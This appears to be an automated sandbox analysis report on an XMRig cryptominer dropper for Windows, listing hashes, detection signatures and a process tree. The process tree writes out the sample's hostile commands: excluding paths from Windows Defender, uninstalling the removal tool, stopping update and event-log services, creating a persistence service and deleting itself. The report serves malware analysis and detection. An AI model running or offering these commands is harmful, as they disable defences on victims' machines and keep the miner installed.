Analysis
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max time kernel
119s -
max time network
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platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
20-12-2024 02:14
Static task
static1
Behavioral task
behavioral1
Sample
14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe
Resource
win7-20240903-en
General
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Target
14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe
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Size
5.6MB
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MD5
fe9f8353e64e335a3b4b42feffb58980
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SHA1
69fe365e83653d175d293d52dd56672618061696
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SHA256
14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811c
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SHA512
e9f12a4316047f43a6a6fc8831dea90149e1b3f026f96358a45c4da91cd0ab93945c550fc4a4cd6b11c54735a6ccd81f082e1ab80f832f9ab470ef7878a06bfb
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/2968-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2968-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2968-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2968-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2968-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2968-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2968-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2968-42-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1960 powershell.exe 1944 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 2036 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 476 Process not Found 2828 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 476 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2832 powercfg.exe 1588 powercfg.exe 2440 powercfg.exe 2640 powercfg.exe 2816 powercfg.exe 2756 powercfg.exe 2464 powercfg.exe 2720 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2828 set thread context of 2288 2828 fqwofdtexigy.exe 85 PID 2828 set thread context of 2968 2828 fqwofdtexigy.exe 90 -
resource yara_rule behavioral1/memory/2968-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2968-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2968-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2968-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2968-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2968-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2968-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2968-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2968-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2968-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2968-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2968-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2968-42-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1820 sc.exe 1908 sc.exe 2776 sc.exe 2736 sc.exe 2796 sc.exe 320 sc.exe 1932 sc.exe 2520 sc.exe 2972 sc.exe 2900 sc.exe 2880 sc.exe 2924 sc.exe 832 sc.exe 2168 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 802effe88452db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2364 14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe 1944 powershell.exe 2364 14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe 2364 14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe 2364 14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe 2364 14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe 2364 14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe 2364 14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe 2364 14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe 2364 14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe 2364 14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe 2364 14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe 2364 14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe 2364 14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe 2364 14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe 2364 14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe 2364 14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe 2828 fqwofdtexigy.exe 1960 powershell.exe 2828 fqwofdtexigy.exe 2828 fqwofdtexigy.exe 2828 fqwofdtexigy.exe 2828 fqwofdtexigy.exe 2828 fqwofdtexigy.exe 2828 fqwofdtexigy.exe 2828 fqwofdtexigy.exe 2828 fqwofdtexigy.exe 2828 fqwofdtexigy.exe 2828 fqwofdtexigy.exe 2828 fqwofdtexigy.exe 2828 fqwofdtexigy.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe 2968 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 1944 powershell.exe Token: SeShutdownPrivilege 2756 powercfg.exe Token: SeShutdownPrivilege 2816 powercfg.exe Token: SeShutdownPrivilege 2640 powercfg.exe Token: SeShutdownPrivilege 2464 powercfg.exe Token: SeDebugPrivilege 1960 powershell.exe Token: SeShutdownPrivilege 2720 powercfg.exe Token: SeShutdownPrivilege 2440 powercfg.exe Token: SeShutdownPrivilege 2832 powercfg.exe Token: SeShutdownPrivilege 1588 powercfg.exe Token: SeLockMemoryPrivilege 2968 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 1868 wrote to memory of 2904 1868 cmd.exe 38 PID 1868 wrote to memory of 2904 1868 cmd.exe 38 PID 1868 wrote to memory of 2904 1868 cmd.exe 38 PID 2036 wrote to memory of 2812 2036 cmd.exe 64 PID 2036 wrote to memory of 2812 2036 cmd.exe 64 PID 2036 wrote to memory of 2812 2036 cmd.exe 64 PID 1716 wrote to memory of 2848 1716 cmd.exe 72 PID 1716 wrote to memory of 2848 1716 cmd.exe 72 PID 1716 wrote to memory of 2848 1716 cmd.exe 72 PID 2828 wrote to memory of 2288 2828 fqwofdtexigy.exe 85 PID 2828 wrote to memory of 2288 2828 fqwofdtexigy.exe 85 PID 2828 wrote to memory of 2288 2828 fqwofdtexigy.exe 85 PID 2828 wrote to memory of 2288 2828 fqwofdtexigy.exe 85 PID 2828 wrote to memory of 2288 2828 fqwofdtexigy.exe 85 PID 2828 wrote to memory of 2288 2828 fqwofdtexigy.exe 85 PID 2828 wrote to memory of 2288 2828 fqwofdtexigy.exe 85 PID 2828 wrote to memory of 2288 2828 fqwofdtexigy.exe 85 PID 2828 wrote to memory of 2288 2828 fqwofdtexigy.exe 85 PID 2828 wrote to memory of 2968 2828 fqwofdtexigy.exe 90 PID 2828 wrote to memory of 2968 2828 fqwofdtexigy.exe 90 PID 2828 wrote to memory of 2968 2828 fqwofdtexigy.exe 90 PID 2828 wrote to memory of 2968 2828 fqwofdtexigy.exe 90 PID 2828 wrote to memory of 2968 2828 fqwofdtexigy.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe"C:\Users\Admin\AppData\Local\Temp\14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2364 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1944
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1868 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2904
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:832
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2900
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2776
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2880
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2736
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2640
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2464
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2756
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2816
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:2924
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:320
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2168
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:1932
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\14f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811cN.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2036 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2812
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2828 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1960
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1716 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2848
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2520
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2796
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1908
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1820
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2972
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2720
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2832
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1588
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2440
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2288
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2968
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD5fe9f8353e64e335a3b4b42feffb58980
SHA169fe365e83653d175d293d52dd56672618061696
SHA25614f82f5920a6f8c784472659bb34debafc54967e9c329df5c21a3d64a7b6811c
SHA512e9f12a4316047f43a6a6fc8831dea90149e1b3f026f96358a45c4da91cd0ab93945c550fc4a4cd6b11c54735a6ccd81f082e1ab80f832f9ab470ef7878a06bfb